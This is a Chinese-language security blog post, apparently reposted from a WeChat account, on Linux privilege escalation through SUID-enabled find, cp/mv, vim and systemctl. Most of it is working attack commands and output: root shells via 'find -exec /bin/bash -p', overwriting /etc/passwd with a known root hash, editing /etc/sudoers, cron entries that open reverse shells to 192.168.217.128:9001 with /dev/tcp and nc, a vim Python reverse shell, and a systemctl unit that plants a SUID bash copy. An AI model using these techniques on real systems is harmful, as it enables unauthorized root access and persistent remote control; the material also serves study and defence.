权限提升 | 带SUID的命令提权
2022-11-30 08:57:20 Author: 潇湘信安(查看原文) 阅读量:14 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿,@3h整理发布,感谢分享!

@蜗牛师傅也写了一篇,大家可以参考学习下:权限提升 | suid提权及修复方式

0x01 SUID命令提权简介

setuid是set uid ID upon execution的缩写,我们一般会再次把它们缩写为suid,它们是控制文件访问的权限标志(flag),它允许用户以可执行文件的所有者的权限运行可执行文件,当所有者为root时,其他用户则可以使用root权限运行可执行文件,这就带来了安全风险,用户可以通过带有suid权限的命令进行提权,最终获得root权限。

下图展示了普通用户是如何通过passwd来修改/etc/shadow文件,正常情况下普通用户是无法直接修改/etc/shadow文件,因为passwd命令带有suid权限,所以普通用户在执行passwd时他的权限临时变为root权限就能修改/etc/shadow文件了。

0x02 查找具有suid权限文件的命令

  • SUID的权限号是4000
  • -exec 是用来执行ls -al命令 

  • {}表示前面find所查找到的所有结果

  • \; 是转义;来结束命令

  • 2> 将标准错误输出输出到/dev/null

find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null

0x03 为命令设置suid权限

例如给find命令添加suid,这里使用whereis,which都可以。
[[email protected] ~]# whereis findfind: /usr/bin/find /usr/share/man/man1/find.1.gz[[email protected] ~]# chmod u+s /usr/bin/find[[email protected] ~]# ls -al /usr/bin/find-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find

0x04 find命令提权

如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell。

利用普通用户执行find命令,要查找一个存在的文件,这里的点是查找当前目录
[[email protected] ~]$ find . -exec /bin/bash -p \;bash-4.2# whoamiroot
-p参数的解释:

当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。

bash -p参数-p  Turned on whenever the real and effective user ids do not match.    Disables processing of the $ENV file and importing of shell    functions.  Turning this option off causes the effective uid and    gid to be set to the real uid and gid.

0x05 cp/mv命令提权

这里只演示cp命令,mv同理。

方法一

利用cp将/etc/passwd复制到/tmp/passwd

[[email protected] ~]$ cp /etc/passwd /tmp/passwd[[email protected] ~]$ ls -al /tmp/passwd-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd

加密的密码具有固定格式:

$id$salt$encrypted

id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512 目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。salt表示密码学中的Salt,系统生成encrypted表示密码的hash

openssl passwd -6 -salt 1 123456  
passwdGeneration of hashed passwords.-6Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.-salt stringUse the specified salt. When reading a password from the terminal, this implies -noverify.

生成一个基于sha512密码算法,并且盐为1的密码为123456的密文。

┌──(kali㉿kali)-[~/Desktop]└─$ openssl passwd -6 -salt 1 123456               $6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

查看/tmp/passwd的内容,并创建一个新的passwd并将/tmp/passwd的内容与新生成的密码写进去

[[email protected] ~]$ cat /tmp/passwdroot:x:0:0:root:/root:/bin/bash...
[[email protected] ~]$ vim passwdroot:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash...       

将创建的新的passwd覆盖掉/etc/passwd

[[email protected] ~]$ cp passwd /etc/passwd[[email protected] ~]$
此时可以切换root用户

方法二

创建一个crontab文件,利用cp覆盖/etc/crontab
[[email protected] ~]$ cat crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root
* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
cp crontab /etc/crontab
最后等待连接

方法三

创建一个root_access文件
#!/bin/sh
cp /bin/bash /tmp/root_accesschmod +xs /tmp/root_access

赋予root_access文件执行权限,并将其放入/etc/cron.hourly中让其每个小时执行一遍

[[email protected] ~]$ chmod +x root_access[[email protected] ~]$ cp root_access /etc/cron.hourly

等待root_access的创建,最后执行/tmp/root_access -p

[[email protected] ~]$ /tmp/root_access -proot_access-4.2#

0x06 vim等编辑器命令提权

方法一

生成一个新的密码,编辑/etc/passwd
┌──(kali㉿kali)-[~/Desktop]└─$ openssl passwd -6 -salt 1 123456               $6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
[[email protected] ~]$ vim /etc/passwdroot:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash...
:wq!
使用新密码登陆root

方法二
修改/etc/sudoers文件,使普通用户具有sudo权限,这里注意用当前普通用户的用户名,这里用户是admin
[[email protected] ~]$ vim /etc/sudoers## The COMMANDS section may have other options added to it.#### Allow root to run any commands anywhereroot    ALL=(ALL)       ALLadmin   ALL=(ALL)      ALL...
:wq!
方法三
修改/etc/crontab文件,写入root用户定时执行任务
[[email protected] ~]$ vim /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root
# For details see man 4 crontabs
# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed
* * * * * root nc -lp 9001 -e /bin/bash
:wq!
在攻击机上进行连接即可提升权限

方法四
利用vim执行python命令,正向shell,这里注意都要加-p参数
[[email protected] ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'
bash-4.2# whoamirootbash-4.2#

反弹shell,这里注意利用的是subprocess模块才可以添加-p参数,pty模块不可以添加-p参数。

[[email protected] ~]$ export RHOST=192.168.217.128[[email protected] ~]$ export RPORT=9001[[email protected] ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]p=subprocess.call(["/bin/bash","-ip"]);vim.command(":q!")'

0x07 systemctl命令提权

如果systemctl具有suid权限则可以利用systemctl进行提权,systemctl 是一个用于管理服务的 Linux 软件套件,可以通过创建一个服务来利用,该服务在启动时将以 root 身份执行任意命令。

在下面的示例中,它将创建 /bin/bash 的 SUID 副本,因此允许攻击者以 root 身份执行 bash:
[[email protected] ~]$ TF=$(mktemp).service[[email protected] ~]$ echo '[Service]> Type=oneshot> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"> [Install]> WantedBy=multi-user.target' > $TF[[email protected] ~]$ systemctl link $TFCreated symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.[[email protected] ~]$ systemctl enable --now $TFCreated symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.[[email protected] ~]$ /tmp/stef -pstef-4.2# whoamiroot

关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

 还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247499683&idx=2&sn=e72a2523c5af068b6828fa96970826bd&chksm=cfa55bb0f8d2d2a6f83df5e52893131011253a50ccab26c75ee0401cadb501b2b830fea1c3c5#rd
如有侵权请联系:admin#unsafe.sh